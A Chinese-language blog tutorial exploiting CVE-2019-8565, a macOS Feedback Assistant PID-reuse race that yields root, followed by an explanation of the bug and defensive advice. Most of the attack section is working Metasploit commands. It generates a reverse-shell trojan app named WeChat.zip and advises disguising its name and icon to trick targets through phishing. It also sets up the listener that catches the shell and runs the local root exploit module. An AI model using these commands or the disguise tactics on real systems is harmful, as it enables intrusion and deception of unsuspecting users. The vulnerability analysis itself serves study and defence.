*郑重声明:本文展示的攻击过程是在模拟环境中进行的。文中涉及的漏洞原理和攻击方法,只为交流学习之用。如有人用于非法用途,产生的后果笔者不负任何责任。
由于本人水平有限,不足之处还请大家多多指正。
0x00 前言
CVE-2019-8565是一个macOS系统上Feedback Assistant模块的条件竞争漏洞引发的root LPE(本地权限提升),该漏洞存在于Feedback Assistant的service程序fbahelperd,通过child进程竞争重用parent进程的PID,绕过安全检查,导致在特权下执行脚本命令,该漏洞影响macOS 10.14.3及以下版本。
0x01 查找MSF漏洞利用模块
首先在msf控制台通过cve编号搜索漏洞利用模块,下图中的Name就是我们等下要使用的利用模块
exploit/osx/local/feedback_assistant_root
。然后通过
use exploit/osx/local/feedback_assistant_root
命令使用该模块,再通过show options
我们可以看到除了IP和端口号还需要一个必填参数SESSION,这个参数需要我们在目标机和msf之间建立一个连接的session。
0x02 使用msfvenom生成木马程序
要建立这个session,我们可以通过msfvenom模块生成一个macOS系统下的木马App,然后伪装成热门的应用,通过钓鱼等手段使木马App在目标机上运行,这样就能建立一个与msf之间的session连接。生成木马App的命令为:
msfvenom -a x64 --platform osx -p osx/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f osx-app -o WeChat.zip
解压zip文件后就可以得到在macOS上运行的App了,为了提高目标用户运行此App的概率,可以通过修改App的名字和图标来迷惑目标用户。
在MSF端开启对上述木马程序的端口监听:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload osx/x64/shell_reverse_tcp
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set lhost 192.168.1.7(本机IP)
msf5 exploit(multi/handler) > set lport 8888(本机端口)
msf5 exploit(multi/handler) > exploit当木马App被打开时,就会建立一个到MSF的反弹shell session。
0x03 使用MSF提权
在连接的反弹shell里输入
background
命令,使其退到后台运行。上面建立shell session的时候,session后面有个数字就是session号,这个就是需要设置到漏洞利用模块的SESSION参数里的。
在漏洞利用模块设置好SESSION,IP,端口号之后,使用
run
或exploit
命令执行漏洞利用,如果利用成功的话,过一会就会拿到目标机器的root权限反弹shell,效果如下图所示:
0x04 漏洞原理
在macOS上有一个很普遍的漏洞类型,当一个特权(或宽松沙盒)的用户空间进程接收一个来自非特权(或沙盒)的客户端发的IPC消息时,它通过强制代码签名(bundle id, authority or entitlements)来决定这个操作是否被允许。如果这种安全检查是基于进程ID(pid)的,那它可以通过pid重用攻击来绕过。
一个非特权客户端可以发一个IPC消息,然后派生一个特权的进程来重用它的pid。特权service将允许新的进程并接收之前的IPC请求,导致权限提升甚至是沙盒逃逸。攻击者通过繁殖大量的子进程来填满消息队列这种方法,能够稳定的赢得条件竞争。
像
sandbox_check
SecTaskCreateWithPID
这种基于pid的安全检查,正在遭受这种类型的攻击。通过逆向
-[FBAPrivilegedDaemon listener:shouldAcceptNewConnection:]
这个接口我们可以知道,特权XPC servicecom.apple.appleseed.fbahelperd
只接收来自/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/MacOS/Feedback Assistant
客户端的消息。但是,由于它是通过pid来做安全检查的,因此我们可以绕过它的检查。FBAPrivilegedDaemon
的导出方法copyLogFiles:
接收一个NSDictionary
参数,参数的key为文件拷贝的源,与之对应的NSString
类型的值为文件拷贝的目的地址。它一次可以支持多个任务,并且路径可以是文件或文件夹。但是拷贝源地址必须以/Library/Logs
或/var/log
开头,目的地址不能覆盖已经存在的目标,并且必须匹配以下正则规则:^/var/folders
^/private/var/
^/tmp
Library/Caches/com.apple.appleseed.FeedbackAssistant这些限制能够通过如下图所示的路径遍历来绕过,因此我们现在可以拷贝任意文件或文件夹到任何没有rootless保护的地方。此外,在每次拷贝完之后,还会调用
-[FBAPrivilegedDaemon fixPermissionsOfURL:recursively:]
这个方法来设置拷贝后的文件的owner为XPC客户端进程的gid和uid。如果你不介意重启电脑的话,现在就可以很简单的获取到root权限了。拷贝可执行文件到开机时可以自动启动带有特权的地方,例如在
/Library/DirectoryServices/PlugIns
里的bundles将会被/usr/libexec/dspluginhelperd
这个有root权限和无沙盒保护的进程加载。我们可以直接获取root权限吗?XPC的daemon有一些名为
run*diagnoseWithDestination
的导出方法,它们是许多导出命令的封装,这很像CVE-2019-8513这个漏洞中一些诊断助手中存在的方法,可以使用类似这个漏洞的命令注入来实现root提权。另外还有两种利用方式可以做到。第一种是
runMDSDiagnoseWithDestination:
这个导出方法在等待/usr/bin/top
命令结束的时候,会加载/usr/bin/mddiagnose
,这个命令在10秒后最终会派生/usr/local/bin/ddt
,但是,/usr/local/bin/
这个目录默认是不存在的,因此我们可以利用上述任意文件写的漏洞来写入一个自定义的可执行的文件。另一种利用路径是
runMobilityReportWithDestination:
这个导出方法会调用/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info
这个脚本,而这个脚本又会检查/usr/local/bin/netdiagnose
这个脚本是否存在,如果存在就以root权限执行它。而/usr/local/bin/
这个目录默认是不存在的,因此可以通过上述的任意文件拷贝漏洞,拷贝我们自己的脚本到这个目录下执行,这样我们就获得了root执行权限。
0x05 总结
在很多人的意识里,苹果电脑是很安全的,是不需要安装杀毒软件的。其实不然,这个世界没有绝对安全的系统,苹果电脑用户也应该提高安全意识,我们除了及时把系统更新到最新版本,及时打安全补丁外,安装杀软还是很有必要的,比如本文生成的木马App,如果装了杀软是可以被查杀的。如果及时更新了系统,本文所利用的漏洞也不会成功。
参考:
https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe
https://blog.csdn.net/weixin_30824599/article/details/95335096
https://www.cnblogs.com/hkleak/p/5770300.html
https://weibo.com/3957583411/HEbyT1QzI?type=comment#_rnd1574310423718
EOF